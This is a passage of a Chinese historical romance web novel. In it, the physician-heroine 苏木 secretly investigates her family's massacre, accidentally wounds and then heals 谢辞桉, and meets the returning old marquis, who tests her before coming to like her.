还承诺百年不再侵扰鄢国。 数着时日, 过不了几日老侯爷就要至京,她需得在人回来之前查清顾家所握的那二十五只箭镞的事。 这半月, 苏木常常去外面医馆坐诊, 医馆本处上京中街繁华之所, 再附着她与祝余二人医术尚可,生意还不错,有时候忙起来, 苏木都会忘了要回侯府这件事,直到凌风来寻他。 久而久之,凌风也不寻她了,而是到点便守在医馆门外,风雨不动。 顾长宁答应过她不会派人跟着她, 所以她也再没见过那一夜见到过的黑衣人。对于凌风,她也知道他是听从顾长宁的命令,自不为难。 偶尔,苏木也懒得去医馆,在府中无事时她都有些手痒,在练完字后便抽出软剑与凌风比武,大汗淋漓才罢休。 凌风招式犀利密接,一点也不逊色扬风。当然,也不再是当年那个鲁莽心急的牧岩了。 关于知道凌风就是牧岩这件事,苏木从来没提过,但对于凌风,她却无形之中似乎与他亲近了几分。 或许是由于那段记忆没人记得,所以在遇到记忆中的人时,总有种别样的感觉在。 芜衣的功夫练的也是越来越好了,她勤奋又能吃苦,府中事情也没耽搁,张叔升了她为一等丫头,已经常侍东苑。 日子过得飞快,白日里侯府的日子都是稀松平常的,只有晚上,苏木才能蛰伏暗探。 这段日子里,她根本没闲着。 周氏被抄了家,将军府中一切详录都被放在稽查司之中,她不免又去了一趟稽查司。 熟悉的文库,她去了好几次都没翻阅到关于周家被查所抄详录,纠结之时恰遇谢辞桉,辗转跟着他,这才知道稽查司密室所在。 令苏木不安而又意外的是,周家箭镞记录在册,无一遗漏,甚至那密室中有一偌大兵库,皆是这几年上京所灭至族收拢的兵器。 兵器不多,普通枪或剑皆已录册后重熔而铸,唯余一些精良兵器尚置。 二十五只箭镞与苏木脖颈上所挂无二,一齿三纹,年代久远,落了灰却也看的出所造巧计天工。 苏木有私心。 她第一个查的周家,就是想着,若是此事为周家所做,但周府已灭,就算她报仇无门,至少仇人已死,他们沈家一门也能瞑目。 可还有一个原因,亦是苏木最不愿意承认的,她在害怕。 她希望第一个查周家时周家刚好是有问题的,这样的话,不管是谢家还是顾家,她都不至于难受。 可事实却是,周家没有任何问题。 那有问题的是谁,凶手是谁,害了沈府一百多人的幕后黑手是谢,还是顾…… 之前一直延缓行动,是她一直侥幸,一直在给自己铸建堡垒,一直在暗自希望。 希望两个都不会是其中一个。 她甚至在想,顾家和谢家不和由来已久,会不会是二人博弈之间父亲一个不小心就站错了队,以至于不明不白丢了性命。 可父亲的性子她是知道的,刚正不阿,清正廉洁,万不会有这样的行差。 许是这样的真相对苏木冲击太大,苏木对周围的警惕性下降,以至于有人站在阴影处她也不知。 那人出剑极其之快,几番交缠之下有些心急,拾起案上飞镖便扑向苏木,几只飞镖由着他随意投掷,饶是苏木小心迂回,手腕处也被一飞镖所伤。 鲜血气味刹那弥漫整个密室,苏木担心自己经脉受损或失血过多,拔下飞镖后飞旋给了投来之人。 苏木听到了一声闷哼,知道那人也已受伤,这才找着机会逃离。 那一夜,苏木并未瞧见那人面貌,直至过了两天在医馆时谢府的人来请她。 请她的是个眼熟的小姑娘,苏木死活想不起来时,小姑娘才说起好几个月前自家夫人出事,便是她来救治的。 苏木这才恍然大悟。 小丫鬟名唤南移,是个样貌可爱的小丫头,几个月前见她时还是古灵精怪又一脸精明的样子,今日却是愁眉苦脸,几乎要哭的模样。 也是因此苏木才知道,那也她伤着的人,是谢辞桉。 据说那一页稽查司正在查京中重案,谢辞桉是临时召集众人去的稽查司,因着案件牵连复杂,他必须去密室取相关之物,只是没想到密室竟有人所侵。 据南移所说,谢辞桉平日里办案子对犯人那是一个狠绝,出手也是极其狠辣不留余地的,所以在办案时,他很少会伤着自己。 可那一夜,暗红色鲜血如同妖艳陀罗弥漫,染红了他匆匆赶去司里还未来得及换下的月牙色的澜衫。 众人见到他时,他表情痛苦青凝,嘴里还在喃喃着什么话。 只是那话含糊不清,混着口中鲜血而出,没人听清…… 自她回京后,她和谢辞桉所见的并不多,可短短的几次,她却两番都重伤了他。 胸膛…… 她还记得,她夜潜稽查司那日,她也是将刀直直地刺入他胸膛。 那夜他震惊、不明、呆愕的神情霎时铺天盖地袭来,苏木脑中一片空白,不记得自己是怎样由着南移所牵,一路就这么来到了谢府。 谢辞桉面色苍白,唇色几无,唇角洇着擦不净的血渍,坐在床榻边上雍容的夫人哭的泣不成声,只一下又一下地摩梭着她的手恳求,求她救救她的儿子。 愧疚席卷苏木全身,她说不出话来,一开口便像被人掐住了脖子,鼻尖酸意盎然,没有一个字能说出。 她看着那慈祥如旧的林氏,眼底竟是复杂。 或许眼前这个人,这个把她母亲当作金兰如闺之人,把她看作亲女儿一般的夫人,会不会……会不会也参与了那场谋杀。 苏木被摩梭的手背生热,手心却被浸满了冷汗。 小时候,父亲公务繁冗,母亲又一心钻研陶瓷教导珏乐,她自然而然总是成为被忽略的哪一个。 那个时候,林氏总是牵着她的小手带她到谢府来玩,将她照顾地很好,衣穿住食,无一样不尽心尽力。 也是因此,谢辞桉小的时候,在一开始见到苏木时很不喜欢,总觉得她抢走了他本应该得到的母爱。 她习惯性捂热她那冬日被冻得发红的脸蛋,总是记得她喜欢吃的东西而大老远去阆华给她买那一份饺子,也总是在父亲责罚她的时候护她比自己母亲还要快。 那个时候,林氏常常拉着她的小手说:“珏明儿,常伴着我吧,常伴着我,才不会孤单。” 她那个时候觉得,林氏很体贴,她怕自己孤单所以时常照顾自己。 可如今回想起她那时眼底的寂寥,她说的孤单,真的仅仅是对她的吗。 她那个时候,对谢辞桉那么不亲,在她离开的这些年来,原来她也会因谢辞桉受了伤而哭的憔悴,几乎要跪下来求她。 罢了,事情还没个结果,不管真相如何,现下来看,谢辞桉都不该丧命。 若是谢辞桉因她而死,她会内疚一辈子的。 谢辞桉的伤的确凶险,那枚花镖用力很深,几乎一齿完全没入胸膛,花镖已被拔出,但情况却一直未见好转。 几名大夫无计可施,南移才想起新起的明净医馆里的那号人物和救自家夫人的那神医相似,这才来寻着她。 几乎衣不解带,苏木冷汗沁面,小心翼翼,这才从鬼门关抢回了谢辞桉的性命。 也是自那以后,顾长宁落下了咳疾,虽然已醒,但偶尔咳而力乏,气血瘀滞,还需多加调养。 苏木送佛送到西,自然又得隔两天来复诊一次 当然,这也是接近谢府的最好时机。 关于谢府那五十只箭镞的事,自然不会在稽查司,而只能在谢府中所藏。 天佑十二年,南关传来捷报,昭明侯率五千余人守玉寮关,抗竺蛮一万大军,退蛮军至边线之外。 这是大捷。 消息是凌风等苏木回府时所告知,恰好谢辞桉眼下病情稳定不少,苏木心情十分之好,望着天边残晖,似将这几日的忧愁短暂抛掷脑后。 玉寮关。 深夜,群山环抱,猿啼长鸣。笼黑之下的层层迭峦之中,一城落于峡中,灯火通明,载歌载舞。 玉寮城的百姓都在庆贺此次告捷,也无比感激那位于官府中的那位枭将昭明侯。 玉寮关都尉府内一片祥和融融,宴席由内庭摆至府外,锣鼓喧天,喜气漫天。 与此不同的,是院中处于东院贵室的角落。 男人坐在主座之上,浑身被玄色笼罩,烛光晦暗摇拽,撕扯着那人硬朗冷硬的下颌。 环着手中玉扳指,他耐心地听着其下之人的汇报,眼底之色被阴影覆盖,不辨情绪。 “你是说,她在查周家?” “回公子,的确如此,京中还传来消息,夫人夜探稽查司后的第三日便去了相府,自此后每隔两日都会前往。” 男人眉宇压下:“可查到因何。” “据说……” 其下之人犹犹豫豫,案上之人有些不悦,示意般下了令:“说。” “据说是谢辞桉受了重伤,所以才请夫人前去的。” 犹豫片刻,见其上主子沉默无话,立于暗中之人大着胆子问出了自己长久以来的疑惑。 “这话不知真假,就算谢辞桉真的有伤,你又曾知不是他们演的戏。” “公子,我记得你说过对她只有利用,往常她替相府传递什么消息也便罢了,如今趁你不在又是查周家又是进了侯府密室,现下更是和相府接触甚密,容我多说一句,老侯爷马上就要到京了,若是他们一同谋划些什么,老侯爷岂不是危险。” “我记得,你曾说过到了时候再将她推出去,那现下,你的眼睛已经好了,侯府已经用不到她了,要不要我将她……” “扬风!” 案上之人终于止住了他的话,他很是不悦,这两个字几乎是压着喉结而出。 光从语气,扬风听的出来。 “我的事情” “何时容你评判。” 顾长宁的声音如过境之风,刺骨锥心,犹如夜魅阎罗 “再让我听到一次你有这种想法。” “我容不下你。”—— 第74章 又过一月, 日头逐渐闷热起来,街上众人恨不得与人相离十里以保自身凉爽, 而那长明左街明净医馆内,却是人声鼎沸,步履紧凑。店里店外那叫一个热闹。 也不知是谁传明净医馆有位神医,不仅医好了相府夫人的顽疾,还妙手回春将那位都指挥使从鬼门关拉了回来。最最重要的是,诊金少啊,一时之间, 所有人都把这医馆里的人当活菩萨。 整个上京之人有个头疼脑热便纷纷往这跑。 这不, 现下医馆里, 那叫一个嘈杂热闹。 此事端还是由相府谢辞桉而起, 谢辞桉便专门派遣了几个丫头来明净医馆帮忙,美其名曰表达歉意。 当然, 这其中便有那个十分机灵的小丫头南移。 “大夫, 我这常年面上生疮,反反复复久不见好, 吃了许多药都不管用。” 其中一个小丫头无奈的在门口摇了摇蒲扇:“我是个煎药的, 这病你得找里头那位。” 老夫人抬眼往帘里一瞧, 那叫一个心惊,众人蜂拥往里靠着,七嘴八舌, 大个子早就黑压压地将柜台给遮得严实。 “哎哟小姑娘,是那位啊!” 小丫头早已习惯这般场景,头也不抬:“老夫人往里走,瞧见穿着藕色衣裙面带白纱的,那便是沈大夫了。” 于是, 本来拥挤的医馆里,又一位踏进了人潮之中。 店外长队衍至对面酒楼,挡着酒楼生意,只见小二没好气地骂了几句,又急匆匆往里去了。 “大夫,我食那面食总是下腹烧的慌,肚子一慌心就更慌了,大夫,你可有什么办法?” “找里面沈大夫。” “丫头,我这脚跛了好长时间了,听说沈大夫妙手回春,不知……” “排着吧。” 小丫头听到一时没了声音,有些不习惯的抬头。 瞧见熟人,她又偏头看了看馆中,无奈摇头:“大爷,你下次再来吧,你看里面。” 大爷一听,往前迈的步子都滞在空中。 大爷苦不堪言,他自一听说有这样一位神医在世后就迫不及待从乡里赶过来。第一天,人多但至少没排到外面去,他在外头等了许久,被一个叫祝大夫的给接待了,祝大夫观察了他腿良久,说这腿能再好上几分,他顿时泪从喜出。 谁料祝大夫一个大喘气说:“这病有些复杂,且你这伤有些年头了,得让沈大夫帮着一起瞧瞧” 他那是迫不及待地要去找那位沈大夫,却未料抬眼望去,那位沈大夫已经被人潮堵地水泻不同,等了半天没着落,只能悻悻离去。 第二次来那就比第一次夸张多了,人那叫一个多。 今日,他特地起了个大早,没曾想还是这个结果。老头都快哭出来了:“丫头,我这都来第三次了,你能不能先让我进去。” 小丫头更无奈,她在相府好好的,突然有一日就被自家公子叫来做着每日长达五个时辰的煎药,她更要哭才是。 “大爷,不是我不让你进,你看看现在里头的状况,就是我现在要挤进去都难啊。” 大爷一听更难受了,他本来腿脚就不便,饶是康健之人,那也是抵不住这样来来回回地跑。 “那……那你再跟我说说,你们沈大夫何时得空啊。” 老头语气诚恳,脸上皱纹遍布,身体也格外瘦小,这样的恳求之语一出,教人生出些不忍之感。 小丫头意识到自己态度太多敷衍,正要再说一句什么,一道白色身影已经挡在了跟前。 “我带他进去吧。” 谢辞桉和往常一般身着一袭白衣澜衫,朗风霁月,嘴角噙着笑,说着最温润的话。 若不是苏木在地牢见识过他的手段,她倒真的相信谢辞桉手底下的那些犯人实则都是被他的笑容感化了。 谢辞桉一直站在小丫头身后,因着没瞧见,他就这么听了一路。 谢辞桉示意身旁小厮,那小厮立马高喊:“各位父老乡亲们,这几日明净医馆求医者众多,各位不远万里前来,对明净医馆的相信令人动容,但是医馆内众人这几日马不停蹄地为大家看病配药,自也是辛苦。” “即日起,相府愿广施援手,助诸位祛病消灾。大家从此处出去左转,在长明街有一家新开的明远医馆,大家可先行去那边治病,诊金同明净医馆无二,若是那边无措,再来这边也不迟啊。” 眼下,每日来明净医馆的人实在太多,大病倒是无所谓,主要是谁牙塞了牙龈痛了都要来瞧一瞧,这不纯纯闹着玩嘛。 谢辞桉几日前便能下床行走了,虽偶夜里咳嗽不止,但白日里瞧着倒是和往常没什么不同,这才打听了沈大夫的事情。 这一听不得了,自己无形之间别得罪了人家,所以这才为了补救又是遣人又是新造了一个医馆。 一听这话是来自都指挥使的口,况且还是借的相府的名声,众人一听觉得有理,也不在这挤了,纷纷往另一个医馆方向而去。 …… 于是,人群稀薄时,谢辞桉领着老头进去了。 诊案前挂着一帘薄纱,垂挂于病患与大夫之间,只留一截皓白的手腕自纱后探出,搭在一女子的手腕处。 帘后人发髻高悬,藕色衣衫自纱后看起来也不弱隐,平白生出了些朦胧的美。 谢辞桉盯着那截皓白手腕上还泛着嫩红的伤疤,噙着笑的狭长双眼为不可察地下压了几分。 “你这是落胎后受了些风寒,我给你开个方子抓药,你一日三次服用,可得缓解手脚冰凉小腹疼痛之状。” 苏木地声音清亮有力,说的话从来没有拖泥带水地尾音。 “还有,这几日最好不要行房事。” …… 这话苏木说的那叫一个平静,坐在她跟前地女子却欻地脸红羞赧,不住摆手:“啊……啊,哦,好……” “谢谢大夫。” 说罢,一刻不敢停留,飞也似地奔走出帘外。 别说这女子,谢辞桉听到苏木口中这话眼皮都是一跳。 他也是没想到,这位沈大夫不仅医术了得,说起话来也是……直言不讳啊。 这京中女子,大多羞于谈及此类事情,而她便是这般当作不经意就说了出来。 果真是医者,还是不一样的。 谢辞桉以防尴尬,不经意般捏拳掩耳盗铃地轻咳了几分。 瞧见其后的几名患者都到了另一位大夫跟前,谢辞桉这才上前。 他本想直接开口替身后大爷问一句,但刚开嘴就看见纱后女子抬臂按着自己的后脖,手放下后又揉了揉自己的手腕。 谢辞桉这话,突然不知道怎么开口了。 “谢公子,有何事吗?” “那个……” “沈大夫,这位老爷腿脚不便,似是来过好几次了,能辛苦你……” “随我进来。” 因为要瞧人腿骨,苏木一般不当着别人面前,所以先行一步往后门而去。 大爷得到许可,脚步生风般跟在后面。 不一会儿,苏木便一个人从里头出来。 谢辞桉往她脑后探了探,发现老头没跟上:“沈大夫,这老爷?” “他这腿疾由来已久,光喝药不顶用,需长时配合针灸,我给他刚扎上,他睡着呢。” 谢辞桉了然后点点头,依旧笑溢满面:“沈大夫辛苦了。” 苏木睨他一眼后往栏柜而去,坐下后捏了捏自己发酸的肩膀:“人已在里头了,谢公子还有何事?” 苏木这话问的生疏,实则在相府这月以来,二人之间距离其实拉近了不少,颇有一副苏木冷脸说话,谢辞桉依旧喋喋贴冷屁股的架势。 她感觉到一丝奇怪之处,也害怕这一丝奇怪产生的来由。 谢辞桉尬笑一声:“沈大夫最近甚是辛苦,所以谢某不好再麻烦你奔相府一趟复诊,咳咳……咳咳咳,所以特地将自己送上前来,好请你替谢某查脉。” 因着自己伤他,苏木前些日子的确辛苦,她来回往相府跑不说,在最开始谢辞桉病情不太稳定时,她还曾在相府住过那么几天。 日夜颠倒,以弥愧疚。 但是那段日子她摸清了相府格局,也曾潜进过相府谢相的书房等地。 一无所获。 也许是因为没头绪,这几日她甚是心烦,有着机会便将自己锁在着医馆内,不敢教自己停下片刻。 一无所获不代表谢府就没有嫌疑,也不代表顾家……有嫌疑。 她还得再找机会去谢府才是。 苏木抬头看她,眼睛亮起几分,假装无碍:“无碍,只是谢公子伤还未好,不见得如此做能替鄙人省下些麻烦。” 意思很明显了,你出来一趟若是再有个头疼脑热的,我不是更麻烦。 苏木要表达的,想要让谢辞桉以为的,也是这个意思。 谢辞桉笑道:“是我疏忽了。” 他又往苏木手腕上被衣袖所遮的伤痕上斜了一眼,随即轻笑:“也不知道沈大夫家的猫何等顽皮,抓了你两痕,现下红肿都还未消。” 苏木碾药的手一顿,随即恢复如初:“已经不碍事了,多谢谢公子关心。” 谢辞桉不好骗,上一次在密室她被他的飞镖伤到的手腕,绕是她自己故意有划了一道口子,却还是被醒来的谢辞桉发现了几分端倪。 她得降低谢辞桉对她的疑心才是。 “谢公子不是要诊脉?” 谢辞桉收回目光,笑意让人捉摸不透。他将手递上去,“是如此。” 苏木抬手要搭上那人手腕,忽而一阵帘风掀起,从外头跑来了一神色慌忙的小厮。 那小厮径直绕过谢辞桉都不曾进过的栏柜,低声在苏木跟前耳语。 饶是没见过沈大夫的全貌,在谢辞桉记忆力,她也向来是处变不惊的,像是任何事都不能掀起她情绪上的波澜。 可现下肉眼可见,那位沈大夫的眼底闪过一丝惊愕,压抑,惊喜……还有慌张。 是什么事情,能教她如此。 谢辞桉皱了皱眉。 于是,在谢辞桉还没来得及问的时候,苏木已经撤回了手,以极快的速度绕过二人,快速消失在众人跟前。 …… 沈大夫走后,那传话的小厮也跟在其后迅速不见,谢辞桉跟着出门,转头向着自家小厮,眸色幽深。 “跟着他们。” 然而,苏木依旧按照以往防备他人回府的路线而奔,根本未察觉到身后有人远远相随。 因为她现在脑中一片发懵。 她只记得一句话。 老侯爷归府了!—— 第75章 之前也有不少消息传老侯爷要归京述职了, 但从顾长宁在京中一直到顾长宁走了都有一个月了,也没见真的回来。 但这次, 是真的。 苏木虽然绕的都是小道,但巷中无人不谈,这老侯爷披甲而归,威风凛凛,虽已至耳顺之年,那气质那丰茂似乎还跟三四十岁时一般无二。 那老侯爷骑马踏与街中,无人不欢喜高兴, 无人不感激涕零。一些个男人携着自家夫人, 那是将自己手里有的什么个有价值的玩意儿都往马后小兵身上塞, 还不住说着辛苦了辛苦了。 但小兵哪敢接, 踌躇间还是老侯爷开了口:“你们能够安好,便是对我们这些在外厮杀的外将最大的馈赠了。” 然后便踏着那匹据说是棕马朱毛的汗血宝马, 朝皇城而去。 老侯爷回京自是不能先回府中, 第一件事那便是要去宫中,见皇帝等人。 与寮州的战役能胜, 老侯爷是大功臣, 进宫自然少不得一顿嘉奖恭维, 然后赏赐些个珍奇异宝,田地品阶等东西。 所以苏木不担心老侯爷进宫,她没来由的, 担心自己。 这不,她现在正在正厅里来回踱步,面色匆匆,摇头摆手,头上那漂亮端庄的发髻上的流苏都随着摇曳生光。 她在焦急些什么, 好像有些复杂。 一是,这顾长宁不在府中,她要做一名假夫人迎那身经百战,历事过万的侯府主人,不免有些忐忑。二,则是这老侯爷突然回府,她都还没来得及将顾家查个底翻天。她怕日后行事不方便。 说来也是她的私心作祟。她之前先查周家,后又靠近谢辞桉调查谢家。总之,顾家是排在最后的。 今夜凌风要同往常那般去驿站接传消息,府中没人,她还打算今夜再试试找找顾家其余密室在何处,可这还没行动,老侯爷就回来了。 什么感觉,仿佛一只偷米的老鼠突然被那米库的主人逮住了一般。 顾长宁都长期是个难对付的主,想来他父亲,自然也不是个简单的人物。 但此时想的再多都无意义,毕竟这老侯爷的眼睛鼻子眉毛她都还没见过,自然也不用把他设想地太过凶神恶煞。 只是……虽然是这么安慰自己的,但这脚下来回踱步的腿,那是一刻也没停下。 厅中各阶的下人都在苏木身后候着,瞧着自家女主人这般模样,都吓得半死。 但转念又一想,他们家老侯爷那可是个仁慈的主儿,也从不苛待下人的,他们在害怕什么? 这样一想,站在前面一排的小厮丫鬟们最先放松般的压下了紧张的有些抽抽的后背。 张叔更是被苏木搞得有些紧张了,但转而一想,这夫人是真心敬畏自家夫君的亲人,于是笑着安慰长眉紧蹙的人:“夫人,您不必过于担心忧虑,老侯爷他人很好的。” 想是这句话他说了千百遍,颇有种狼来了一般,已经对苏木半分作用不起了,于是圆胖老头便又解释道:“夫人,你瞧这侯府小侯爷对下人的态度便知,侯府对人很是宽容体贴,这样的家风正是因为有老侯爷的熏陶而促成的。老侯爷呀对每个人都很好,你又是小侯爷心上的人,老侯爷说不定喜欢你喜欢的紧呢。” 想着老侯爷临走前交给自己的任务——帮自家儿子物色物色可心的人。再抬眼看着这个平日淡心如水,但待人接物又有分寸,生的极美,况且还是小侯爷喜欢的人。虽说位份是个妾室,但小侯爷和府中之人,哪个不是把她当正经夫人看待的? 美人垂眸,视线落在张叔身上,宽以微笑:“张叔,我不紧张。” 不紧张,是焦灼。焦灼老侯爷在府中时,她该怎么绕过他老人家的眼睛。 不过,沈家出事那年,顾长宁比她大不了多少,因此顾长宁也许并不知晓卷宗所放位置。但老侯爷一定知道。 这些年行走江湖,她见惯了父子离心,手足相残之事。因此这侯府中,说不定有其他人不知晓的,只有老侯爷才知晓得,或者能进的地方。 一想到这,苏木的眸光更亮,还往前踏着的步子一下便收了回来。 张叔将苏木的眸光尽收眼底,他还以为是自己的话生了效,正想继续多说些侯府,小侯爷老侯爷的好时,门外一阵马蹄声响,铿锵有力,随即传来了一慢悠悠的人声。 “诶呀老侯爷,这侯府我可想念的紧啊!” 这声音中气十足,毫无老态,这话中又像是在对老侯爷说话。 苏木不明就里,眼皮一跳便看向了跟在身后的张叔。 张叔忙解释:“哎呀你看这……夫人,忘了同你说了,常年跟在老侯爷身侧的,是侯府的宾师,江尧是也。” 此句一落,张叔脸上堆起笑脸提醒:“夫人,老侯爷到了。” 苏木点头,正要往外走时,张叔又开口,声音却比以往要小:“江宾师说话直了些,但心眼不坏,您多担待着点”。 能在侯府立足,且能如此语气同老侯爷讲话的,自然又他的过人之处,苏木心下明了,点点头后边大步朝大门而去。 朱门大敞,苏木刚转过影壁,便瞧见了立在两门之间,身披银甲,眉目硬傲,眉宇眼眸与顾长宁极其相似而头顶花白之人。 还来不及朝他身后之人看上一眼,苏木便被迫接受了那斑发凛风之人投来的犀利视线。 眼神之犀利,颇有一副穿过皮肉要将她看的清清楚楚一般的架势。 苏木僵直了身子,装作无所谓这鹰隼般打量的视线,浮着笑往前。 “苏木见过老侯爷,江宾师。” 安静如冰封场景,良久的死寂。 苏木半蹲着身子,没有一丝一毫的晃动。 张叔见自家侯爷俯视的双眸仍旧未抬起,为刚刚对自家夫人说的话而汗颜。但此时此景,他是插不上话的。 但有一个人却可以。 见二人都未说话,宣德候身后的中年男子终于摸了摸自己那黑里透着几丝银白的胡须,笑得畅快:“老侯爷,你看你还不扶人起来,若是怠慢了你这儿媳的消息传到小公子那里去,不是又伤着你们父子感情了。” …… 苏木端蹲着的身子无语的晃了半分。 张叔说的这位江宾师果真不简单,看似是在化解二人之间的尴尬,实则无意间在挑拨着老侯爷与小侯爷之间的嫌隙,这个嫌隙就差明摆地说是她了。 什么叫做传到小公子那去,说的好像她是个爱打些小报告的上不了台面之人,还是说……老侯爷和顾长宁父子关系不好? 不应该吧。苏木细细回想,她能看得出来顾长宁很爱他的亲人,也很想护好他所亲之人,就连当时知道寮州之战胜后,他的喜色都是毫无掩饰的。 还未待苏木继而往下想,头顶便传来了醇厚冰冷的声音。 “起来吧。” “抬起头来。” 苏木起身,本是收着的下巴僵硬的抬了起来。 苏木不喜欢被人命令,更不喜欢这个命令中所带的上位者的姿态和对她审视的目光。 如鹰般的眼睛狭长地眯起,随即面无表情的开口:“你的容色确是不错,但京中比你甚者佼佼者多之,你不若给本侯说说,我儿喜你什么,而你贪图的又是什么?” 犀利,够犀利。 苏木目不斜视,眼中毫无惧意,忽然轻笑了一声。 “老侯爷回京舟车劳顿,这些个小问题日后有时间询的,现下要不让儿媳带您去休息安顿?” 老侯爷却不接招,他面上无动于衷,步子也不曾挪:“本侯府中多了一个自称儿媳之人,你同我说这是小问题?” 身披硬甲之人传递着冷冰冰的信息,再对上那张岁月纵横,精神奕奕,眸如毒蛇般的人时,苏木不禁感觉自己身上覆上了一层冰霜。 是谁说的老侯爷和蔼善良的。 说老侯爷和蔼之人此刻躬于角落瑟瑟发抖。 他也不明白啊,自家侯爷那就是慈祥和蔼的啊,怎么今日同往常却大不相同。 苏木被呛的喉头一紧,却目不斜视的毫未避开了那要将她吞没的,教她极度不适的双眸。 “回侯爷,郎君曾在就礼时说会以正妻之礼待我,我自知此乃越偈之举,无奈他却一心坚持,不让我自贱其妾,不让我行妾之举,久而久之儿媳……妾都有些忘了此茬。是妾之过,还望侯爷责罚。” 老侯爷背在身后的一只手折回垂于腹前:“既如此,听他的便是。” “最重要的是,你且称我又该是何?” 苏木楞了。 她本已做好受罚的准备,却没曾想话锋突转,苏木都要怀疑自己的耳朵是不是有问题了。 怕自己理解错了,她有些茫然,或者又可以说是带着确认般的眼神看向了立在她不远处的张叔。 张叔也是一听老侯爷这话便松了一口气,立马笑着回应她:“夫人,你失礼了!” 啊…… 苏木脑子木了片刻,眼神开始混沌不如刚才清晰。 她转过脑袋,抬眸瞧着看向她的老人,竟就这样瞧了须臾。 终于,身披寒光的老将笑了。 “哈哈哈哈哈哈啊哈” 他的笑声很是爽朗,连带着眼尾皱纹一并上扬,本是冷霜般的面孔像是刹那间崩开瓦解,仿佛刚才冷声压迫地审视她的不是他。 “吓着了?” “战场上枯燥无味,每日最怕的就是近处远处的消息,生怕生出些什么变故。” “唯一的好消息便是我儿有了归宿,我信他看人的眼光,也想见你一面,方才的确对你有试探之意,但见你未露出半分怯意,倒的确有了我儿书信中同我所说的,虽女却铮铮之感。” 听到这番话,还晃着神的苏木终于松下了一口气。 但她面上表现得不明显,本来想给予回应般笑笑,却在听到最后一句时,突而发问。 “郎君他……曾向您提起过我?” 见人没被吓着,老侯爷也放下了端着的架子,兀自绕过他朝里走去。 苏木紧跟其后。 “自是提起过的,自他成婚后与我通信,每每都能在其中见你身影,诸如你帮他破案夸你聪慧坚韧,你救他性命夸你善良单纯,又或者是你治了他眼睛,夸他自己当真好福气……” 老侯爷摆摆手,语带喜色:“我儿从前不近女色,我都快怀疑他有病了,没想到他也能有喜欢的人,也能有代我护他周全之人。” “苏木,谢谢你。” 这声谢来的猝不及防,苏木愕然片刻,却又在愕然中带着几丝愧疚。 她没有护他周全,甚至第一次乃至后面,她都想杀了她。 顾长宁怎么连骗人的书信都写得是些完全相反的东西。 还是说在他心里……真的是这样看待她的…… 后面老侯爷再说些什么苏木便完全没听进去了。 她只知道,那颗趁他不在而好不容易沉寂下来的心,又乱了—— 第76章 老侯爷很喜欢她, 这是苏木没曾想过的。她一直以为不管是蔺州还是上京权贵,自当是看不起她这种被顾长宁杜撰但又是真切的, 那种毫无背景甚至是自奴场出来的人。 所以一开始她也只是应付了事,也没什么打算要讨得老侯爷的欢心。 但这位久经沙场、所经百事的霜将却喜欢她的紧,犹如将她当作实实在在的侯府夫人一般。 例如这几日,老侯爷时常会让她伴在身边,不是询问些他不在的日子里顾长宁是何等境况就是喝着茶同他摆些峥嵘岁月的话。除此之外,老侯爷也同她提过另一桩事。 这一桩事是顾长宁早些就知晓的,但却没告诉过她。 皇帝念及老侯爷年迈多战, 经验万千, 想要留他在上京, 前往宫中当老师。 这话说是想在询问, 但实则不少消息传来的是,皇帝已经着手在宫中开办武学, 修葺专用殿宇了。 苏木摸不透老侯爷的心思, 她从老侯爷的话中来看,并不知晓他究竟是愿意还是不愿意的。 因为明眼人都知道, 若是一位将军再不领军杀敌, 他手中的兵权自然是握不住的了。 所以在苏木看来, 众人都在等,是在等那殿宇修成,也是在等南边的消息。 若是南边大捷, 这件事情的走向便有了分歧之处。 不管是过去的十几年还是如今,鄢国都是缺少武备人才的,若是一朝收了兵权,倘若朝野有个什么私话又或者让顾家不满,再有个什么战事袭来时, 无人肯上那便是大忌。 但若是顾长宁胜了,那便留他在外,老将在内教才。一个年轻将领的威胁自然是比这个老龙般厉害的人让人略微轻松。 倘若顾长宁败了,这兵权那便是直直地呈上去了,无人多说一句话。 所以,人人都为顾家捏了一把汗,若是没了兵权,如今皇家可能暂且拿捏不动顾家,但再过个几年,借着什么颐养天年等话术,什么削职发配都是可能的。 毕竟,有周家的前车之鉴。 一时之间,侯府上空笼罩的氛围都是不同的,虽说老侯爷表现得并无所谓,但苏木知道,他比任何人都关心南边的境况。 最主要的事是,老侯爷回京前就曾向南边寄过书信,但至今半月过去,南边一信未回。偶有朝中传来消息,大多都是小战胶着,离大捷还不知差了多少火候。 因此,顾长宁怕是每日都恼心战事,哪还有什么空闲回一封家书。 老侯爷明白,苏木也明白。 但是却依旧担心。 要说老侯爷担心,那是完全能够理解的,可苏木她在担心什么,她似乎想不明白。 按理说顾长宁长久回不来,老侯爷对她又似无防备一般,她查事也方便许多。 但尽管如此,她的心似乎和老侯爷紧紧拴在一起般,同样挂忧着远处的人。 这日如千万个往常一般,苏木还是没摸清顾家到底还藏着什么她没去过之处,只得苦恼地在树荫下耍着剑。 她招式婉转却又带锋芒,一心均被外事牵连,丝毫没有察觉到廊下站着人。 等收了剑,这才听到了声。 老侯爷同顾长宁般,都喜玄色衣衫,苏木刹那之间,差点以为自己看恍了神,不过眼眸只明亮了那么一刻,便又暗了下来。 “小木耳,你有心事啊。” 老侯爷自和苏木摊牌喜欢她这个儿媳之后,一口一个小木耳,叫的甚是亲切。 一开始,老侯爷只管她叫儿媳,后来演变为小木儿,木儿木儿地叫多了,一顺嘴直接唤她木耳了。 苏木不在意这些称谓,对老侯爷也说不上讨厌。本着演戏演到底不给她与顾长宁的约定惹麻烦的原则和态度,她对老侯爷也可谓是真的尽到了儿媳之责。 前段时日老侯爷腿上旧疾复发,也是她熬了几个大夜研究好了对策,这才缓和了老侯爷多年的苦痛。 能医善武,心思皎洁。这是老侯爷对她的评价。 苏木一笑而应,没答半分。 苏木收剑于侧,往老侯爷方向而去。 “您腿伤还未完全愈合,怎么不多躺躺。” 苏木很少称这位老人为爹或者父亲,她多少有些唤不出口,毕竟事情未明,若是唤错了人,她原谅不了自己。 老人撑着石桌而坐,面色和煦:“今日日头好,出来晒晒,常日屋中坐着,倒真像是个等死的枯木了。” 苏木一笑:“哪有这样的,该养病时养病,该走动时也是不能少的,您别多想。” 老侯爷眸色如常看向她:“还没说你呢,看你剑气凌乱,步伐急躁,可是有什么烦心事。” 烦心事是查不到你顾家的底,这事儿苏木能拿出来说吗,自然不能。 她正要拐弯随便扯个慌,老侯爷却似看透了她一般:“你不必着急,没有消息或许才是最好的消息,我的儿子我比任何人都清楚,那些个小打小闹是伤不了他的。” “只不过,若是想彻底地将那些个人赶出边境,那还是需要些力气的。” 